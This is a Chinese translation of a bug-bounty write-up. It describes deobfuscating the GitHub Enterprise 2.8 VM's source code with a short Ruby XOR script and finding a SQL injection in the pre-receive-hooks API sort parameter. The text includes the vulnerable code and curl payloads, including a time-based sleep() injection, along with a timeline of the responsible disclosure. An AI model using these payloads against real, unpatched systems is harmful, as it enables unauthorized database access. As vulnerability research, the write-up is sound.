GitHub企业版软件是专供公司团体用来部署在内网进行开发服务的商业性应用程序。Github企业版采用标准OVF格式集成,以虚拟机(VM)镜像方式发布,可以在enterprise.github.com网站注册下载45天试用版本,并把其部署在任何虚拟机环境中。通过下载其试用版本软件进行分析,我花了一周时间,发现了其中存在的SQL注入漏洞,并获得了5000美元漏洞赏金。

Github企业版VM环境安装之后的效果如下:

91.png

02.png

现在,Github搭建完成,接下来就可以在虚拟机系统内进行深入分析。

环境安全性分析

用Nmap发现有6个开启端口:


$ nmap -sT -vv -p 1-65535 192.168.187.145

...

PORT     STATE  SERVICE

22/tcp   open   ssh

25/tcp   closed smtp

80/tcp   open   http

122/tcp  open   smakynet

443/tcp  open   https

8080/tcp closed http-proxy

8443/tcp open   https-alt

9418/tcp open   git

这些端口用途初步分析为:

端口22/tcp和9418/tcp可能用于进程haproxy转发后端服务babeld;

端口80/tcp和443/tcp用于Github主要服务;

端口122/tcp用于SSH服务;

端口8443/tcp用于GitHub的管理控制台服务。

由于GitHub的管理控制台需要密码才能实现登录,所以你可以设置密码并通过122端口的SSH服务连接VM环境,SSH连接进入系统之后,检查系统信息发现,几乎所有的Github服务代码都位于目录/data/下:


# ls -al /data/

total 92

drwxr-xr-x 23 root              root              4096 Nov 29 12:54 .

drwxr-xr-x 27 root              root              4096 Dec 28 19:18 ..

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 alambic

drwxr-xr-x  4 babeld            babeld            4096 Nov 29 12:53 babeld

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 codeload

drwxr-xr-x  2 root              root              4096 Nov 29 12:54 db

drwxr-xr-x  2 root              root              4096 Nov 29 12:52 enterprise

drwxr-xr-x  4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 failbotd

drwxr-xr-x  3 root              root              4096 Nov 29 12:54 git-hooks

drwxr-xr-x  4 git               git               4096 Nov 29 12:53 github

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 git-import

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gitmon

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gpgverify

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 hookshot

drwxr-xr-x  4 root              root              4096 Nov 29 12:54 lariat

drwxr-xr-x  4 root              root              4096 Nov 29 12:54 longpoll

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 mail-replies

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 pages

drwxr-xr-x  4 root              root              4096 Nov 29 12:54 pages-lua

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 render

lrwxrwxrwx  1 root              root                23 Nov 29 12:52 repositories -> /data/user/repositories

drwxr-xr-x  4 git               git               4096 Nov 29 12:54 slumlord

drwxr-xr-x 20 root              root              4096 Dec 28 19:22 user

查看其中的文件源码,貌似是base64加密的:

03.png

GitHub使用了一个自定义的库来加密混淆自身源代码。如果你在谷歌搜索ruby_concealer.so,你会发现一个牛人已经对这种加密方式作了分析,只需在ruby_concealer.so中用rb_f_puts替换rb_f_eval即可实现解密。但我们还是实际动手来看看,打开IDA Pro分析一下:

04.png

05.png

你可以发现,其源程序使用了类Zlib::Inflate::inflate进行数据解压缩,并使用了一段明文KEY作为异或(XOR)操作,然而,让人搞笑的是,这段明文KEY竟然是这样的:


This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. (我们清楚该加密很容易被破解,但其目的在于防止GitHub企业版用户随意对VM环境进行修改)

2017-01-10_113847.jpg

哎呀,让人哭笑不得….

有了这些,我们就可以自己构造解密脚本了:


require 'zlib'

key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "

def decrypt(s)

    i, plaintext = 0, ''

    Zlib::Inflate.inflate(s).each_byte do |c|

        plaintext << (c ^ key[i%key.length].ord).chr

        i += 1

    end

    plaintext

end

content = File.open(ARGV[0], "r").read

content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "

plaintext = eval content

puts plaintext

代码分析

实现程序源代码解密之后,让我们尝试着进行代码审计:


$ cloc /data/

   81267 text files.

   47503 unique files.

   24550 files ignored.

http://cloc.sourceforge.net v 1.60  T=348.06 s (103.5 files/s, 15548.9 lines/s)

-----------------------------------------------------------------------------------

Language                         files          blank        comment           code

-----------------------------------------------------------------------------------

Ruby                             25854         359545         437125        1838503

Javascript                        4351         109994         105296         881416

YAML                               600           1349           3214         289039

Python                            1108          44862          64025         180400

XML                                121           6492           3223         125556

C                                  444          30903          23966         123938

Bourne Shell                       852          14490          16417          87477

HTML                               636          24760           2001          82526

C++                                184           8370           8890          79139

C/C++ Header                       428          11679          22773          72226

Java                               198           6665          14303          45187

CSS                                458           4641           3092          44813

Bourne Again Shell                 142           6196           9006          35106

m4                                  21           3259            369          29433

...


$ ./bin/rake about

About your application's environment

Ruby version              2.1.7 (x86_64-linux)

RubyGems version          2.2.5

Rack version              1.6.4

Rails version             3.2.22.4

JavaScript Runtime        Node.js (V8)

Active Record version     3.2.22.4

Action Pack version       3.2.22.4

Action Mailer version     3.2.22.4

Active Support version    3.2.22.4

Middleware                GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport

Application root          /data/github/9fcdcc8

Environment               production

Database adapter          githubmysql2

Database schema version   20161003225024

从以上分析可以看出大部分为Ruby代码,而且可以发现:

程序通过端口80和443远程连接github.com、gist.github.com和api.github.com在目录/data/github/下更新代码库;

目录/data/render/可能为render.githubusercontent.com代码库;

程序通过8443端口运行目录/data/enterprise-manage/下服务。

漏洞分析

虽然我对Ruby不太熟悉,但经过现学现用,我花了一周的时间发现了这个漏洞,以下我的分析工作日程:

第一天  设置Github虚拟机环境

第二天  设置Github虚拟机环境

第三天  学习Rails进行代码审计

第四天  学习Rails进行代码审计

第五天  学习Rails进行代码审计

第六天  哦也,找到了一个SQL注入漏洞

这个SQL注入漏洞存在于GitHub企业版程序的PreReceiveHookTarget模块中,其根本原因在于/data/github/current/app/model/pre_receive_hook_target.rb文件的第45行:


33   scope :sorted_by, -> (order, direction = nil) {

34     direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"

35     select(<<-SQL)

36       #{table_name}.*,

37       CASE hookable_type

38         WHEN 'global'     THEN 0

39         WHEN 'User'       THEN 1

40         WHEN 'Repository' THEN 2

41       END AS priority

42     SQL

43       .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id")

44       .readonly(false)

45       .order([order, direction].join(" "))

46   }

虽然Rails中内置的对象关系映射ActiveRecord in Rails本身不允许SQL注入操作,但一些ActiveRecord的误用实例同样会引起SQL注入。具体可参考学习Rails-sqli.org。在该漏洞情况中,我们可以控制order方法的参数实现恶意代码注入。跟踪观察发现,服务sorted_by被data/github/current/app/api/org_pre_receive_hooks.rb文件的第61行调用:


10   get "/organizations/:organization_id/pre-receive-hooks" do

11     control_access :list_org_pre_receive_hooks, :o rg => org = find_org!

12     @documentation_url << "#list-pre-receive-hooks"

13     targets = PreReceiveHookTarget.visible_for_hookable(org)

14     targets = sort(targets).paginate(pagination)

15     GitHub::PrefillAssociations.for_pre_receive_hook_targets targets

16     deliver :pre_receive_org_target_hash, targets

17   end

...

60   def sort(scope)

61     scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc")

62   end

可以清楚地看到params[:sort]被传递给了scope.sorted_by,所以我们可以尝试着向params[:sort]注入恶意代码。

在触发该漏洞之前,接入API需要admin:pre_receive_hook函数具备一个有效的access_token值,高兴的是,我们可以通过以下命令来获取:


$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \

-d '{"scopes":"admin:pre_receive_hook","note":"x"}'

{

  "id": 4,

  "url": "https://192.168.187.145/api/v3/authorizations/4",

  "app": {

    "name": "x",

    "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",

    "client_id": "00000000000000000000"

  },

  "token": "????????",

  "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",

  "token_last_eight": "1fadac36",

  "note": "x",

  "note_url": null,

  "created_at": "2017-01-05T22:17:32Z",

  "updated_at": "2017-01-05T22:17:32Z",

  "scopes": [

    "admin:pre_receive_hook"

  ],

  "fingerprint": null

}

一旦获取到有效的access_token值之后,漏洞就会被触发:


$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \

'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'

[

]

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \

'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'

{

  "message": "Server Error",

  "documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"

}

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \

'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user())

{

    ...

}

06.png

漏洞报送进程

2016/12/26 05:48   通过HackerOne把该漏洞报送给GitHub

2016/12/26 08:39   GitHub给出反馈,表示已通过验证并正在修复;

2016/12/26 15:48   提供给GitHub更多漏洞细节;

2016/12/28 02:44   GitHub反馈表示,漏洞补丁将随GitHub企业版后续更新释出;

2017/01/04 06:41   GitHub回复将给我5000美刀赏金;

2017/01/05 02:37   资询GitHub,是否介意我将此漏洞公开在个人博客;

2017/01/05 03:06   GitHub很爽快地表示,没问题!

2017/01/05 07:06   GitHub Enterprise 2.8.5发布!

如果你对该漏洞感兴趣,可以自己部署Github企业版系统环境进行深入分析。

**本文作者:Orange Tsai,FB小编clouds编译